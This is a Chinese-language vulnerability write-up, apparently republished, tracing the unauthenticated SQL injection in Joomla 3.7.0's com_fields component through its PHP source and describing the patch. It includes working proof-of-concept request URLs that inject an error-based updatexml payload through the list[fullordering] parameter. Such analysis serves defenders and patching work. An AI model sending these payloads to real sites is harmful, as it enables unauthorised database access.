内容简介:JoomlaV3.7核心组件无需登录SQL注入漏洞
阅读: 201
Joomla!是世界上最受欢迎的内容管理系统(CMS)解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。
在Joomla!3.7.0版本中新引入了一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。但是由于 程序员 设计缺陷,从这个组建中导入了同名的后台管理员组件,而正好在这个后台的同名组建中由于对用户输入过滤不严格,导致严重 SQL 注入漏洞。
文章目录
漏洞分析
首先看看前台的这个组件com_fields, \Joomla_3.7.0\components\com_fields目录,controller.php文件:
class FieldsController extends JControllerLegacy
{
public function __construct($config = array())
{
$this->input = JFactory::getApplication()->input;
// Frontpage Editor Fields Button proxying:
if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
{
// Load the backend language file.
$lang = JFactory::getLanguage();
$lang->load('com_fields', JPATH_ADMINISTRATOR);
$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
}
parent::__construct($config);
}
}
这里我们可以看到当我们的参数view=fields,layout=modal时,
url=http://localhost/index.php?option=com_fields&view=fields&layout=modal
此时设置$config[‘base_path’] = JPATH_COMPONENT_ADMINISTRATOR;
设置为管理后的组件路径: \Joomla_3.7.0\administrator\components\
跟进parent::__construct($config)
文件\Joomla_3.7.0\libraries\legacy\controller\legacy.php
public function __construct($config = array())
{
$this->methods = array();
$this->message = null;
$this->messageType = 'message';
$this->paths = array();
$this->redirect = null;
$this->taskMap = array();
……
// Set a base path for use by the controller
if (array_key_exists('base_path', $config))
{
$this->basePath = $config['base_path'];
}
else
{
$this->basePath = JPATH_COMPONENT;
}
……
/ Set the default model search path
if (array_key_exists('model_path', $config))
{
// User-defined dirs
$this->addModelPath($config['model_path'], $this->model_prefix);
}
else
{
$this->addModelPath($this->basePath . '/models', $this->model_prefix);
}
}
这里先获取base_path的值,然后在加载这个路径的模块。
然后进入\Joomla_3.7.0\components\com_fields\fields.php文件
JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');
$controller = JControllerLegacy::getInstance('Fields');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
进入execute函数,文件\Joomla_3.7.0\libraries\legacy\controller\legacy.php跟进:
public function execute($task)
{
$this->task = $task;
$task = strtolower($task);
if (isset($this->taskMap[$task]))
{
$doTask = $this->taskMap[$task];
}
elseif (isset($this->taskMap['__default']))
{
$doTask = $this->taskMap['__default'];
}
else
{
throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404);
}
// Record the actual task being fired
$this->doTask = $doTask;
return $this->$doTask();
}
这里的task的值你可以为display,或者你可以不设置task也可以,因为默认
$this-> taskMap [‘__default’]的值就是display。
最后return $this->$doTask()就等于return $this->display();
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
$view->document = $document;
// Display the view
if ($cachable && $viewType != 'feed' && JFactory::getConfig()->get('caching') >= 1)
{
…… }
else
{
$view->display();
}
return $this;
}
这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel获取对应的模型,返回一个model对象,接着再调用setModel函数将获取的model模型push到前面获取的view中去。
最后调用前面获取的view视图的display函数。
文件\Joomla_3.7.0\administrator\components\com_fields\views\fields\view.html.php
public function display($tpl = null)
{
$this->state = $this->get('State');
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
……
}
第一步,跟进这里的get(‘State’),文件\Joomla_3.7.0\libraries\legacy\view\legacy.php
public function get($property, $default = null)
{
// If $model is null we use the default model
if (is_null($default))
{
$model = $this->_defaultModel;
}
else
{
$model = strtolower($default);
}
// First check to make sure the model requested exists
if (isset($this->_models[$model]))
{
// Model exists, let's build the method name
$method = 'get' . ucfirst($property);
// Does the method exist?
if (method_exists($this->_models[$model], $method))
{
// The method exists, let's call it and return what we get
$result = $this->_models[$model]->$method();
return $result;
}
}
这里我们的$property是我们传进的实参也就是’State’,那么拼接起来后的方法名$method就是getState方法,然后调用这个方法。
getState方法在文件\Joomla_3.7.0\libraries\legacy\model\legacy.php中
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
然后调用populateState方法,文件
\Joomla_3.7.0\administrator\components\com_fields\models\fields.php
protected function populateState($ordering = null, $direction = null)
{
// List state information.
parent::populateState('a.ordering', 'asc');
$context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
$this->setState('filter.context', $context);
// Split context into component and optional section
$parts = FieldsHelper::extract($context);
if ($parts)
{
$this->setState('filter.component', $parts[0]);
$this->setState('filter.section', $parts[1]);
}
}
在populateState方法中调用了父类的populateState方法,跟进
文件\Joomla_3.7.0\libraries\legacy\model\list.php
protected function populateState($ordering = null, $direction = null)
{
……
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->listBlacklist))
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
}
$this->setState('list.' . $name, $value);
}
}
}
从代码中可以看到,这里首先获取用户的输入内容赋值给list,然后变量list,然后当name等于fullordering的时候就对list[name]对应的value进行处理,这里对value进行了两次判断,如果条件成立就设置setState,但是这里两个条件都不成立,到最后统一来一次setState,问题就出在这里了,虽然前面各种判断有异常,但是到之后还是统一进行了setState。
第二步,跟进这里的get(‘Items’),文件\Joomla_3.7.0\libraries\legacy\model\list.php
public function getItems()
{
// Get a storage key.
$store = $this->getStoreId();
// Try to load the data from internal storage.
if (isset($this->cache[$store]))
{
return $this->cache[$store];
}
try
{
// Load the list items and add the items to the internal cache.
$this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
}
catch (RuntimeException $e)
{
$this->setError($e->getMessage());
return false;
}
return $this->cache[$store];
}
这里调用了当前类的_getListQuery函数
protected function _getListQuery()
{
// Capture the last store id used.
static $lastStoreId;
// Compute the current store id.
$currentStoreId = $this->getStoreId();
// If the last store id is different from the current, refresh the query.
if ($lastStoreId != $currentStoreId || empty($this->query))
{
$lastStoreId = $currentStoreId;
$this->query = $this->getListQuery();
}
return $this->query;
}
然后又调用当前类的getListQuery方法
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
$user = JFactory::getUser();
$app = JFactory::getApplication();
……
// Add the list ordering clause
$listOrdering = $this->getState('list.fullordering', 'a.ordering');
$orderDirn = '';
if (empty($listOrdering))
{
$listOrdering = $this->state->get('list.ordering', 'a.ordering');
$orderDirn = $this->state->get('list.direction', 'DESC');
}
$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));
return $query;
先获取我们输入的list.fullordering,也就是list[fullordering]的值,然后通过escape处理,再通过order构造返回要query。
Escape也就是通过函数mysqli_real_escape_string简单处理。
看看order干了什么,文件\Joomla_3.7.0\libraries\joomla\database\query.php
public function order($columns)
{
if (is_null($this->order))
{
$this->order = new JDatabaseQueryElement('ORDER BY', $columns);
}
else
{
$this->order->append($columns);
}
return $this;
}
可以看到也就是简单的赋值过程,没有什么过滤处理。
所以上面的过程,我们输入的list[fullordering]的值就成功到这里的query了,最后被sql执行,导致sql注入漏洞。
最后query的值如下图:
漏洞利用
简单的程序验证:
http://10.65.20.198/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal &filter[search]=123&list[fullordering]=updatexml(0x3a,concat(1,(select%20md5(1))),1)
这里GET请求或者POST请求都可以
http://10.65.20.198/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal
task=display&filter[search]=123&list[fullordering]=updatexml(0x3a,concat(1,(select%20md5(1))),1)
漏洞修复
看看补丁的修复过程,如下图:
在文件\Joomla_3.7.0\libraries\legacy\model\list.php中,处理fullordering的时候,当不满足条件时,添加else条件处理过程,使用系统默认的值进行查询。
升级最新版完整安装包以及升级补丁包
https://downloads.joomla.org/cms/joomla3/3-7-1
参考链接
https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
http://bobao.360.cn/learning/detail/3868.html
如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880
以上所述就是小编给大家介绍的《JoomlaV3.7核心组件无需登录SQL注入漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 漏洞预警 | MetInfo最新版本爆出SQL注入漏洞
- 挖洞姿势:浅析命令注入漏洞
- 【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞
- Imperva报告:Web应用漏洞持续增长 注入漏洞一骑绝尘
- Apache Tika命令注入漏洞挖掘
- ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Paradigms of Artificial Intelligence Programming
Peter Norvig / Morgan Kaufmann / 1991-10-01 / USD 77.95
Paradigms of AI Programming is the first text to teach advanced Common Lisp techniques in the context of building major AI systems. By reconstructing authentic, complex AI programs using state-of-the-......一起来看看 《Paradigms of Artificial Intelligence Programming》 这本书的介绍吧!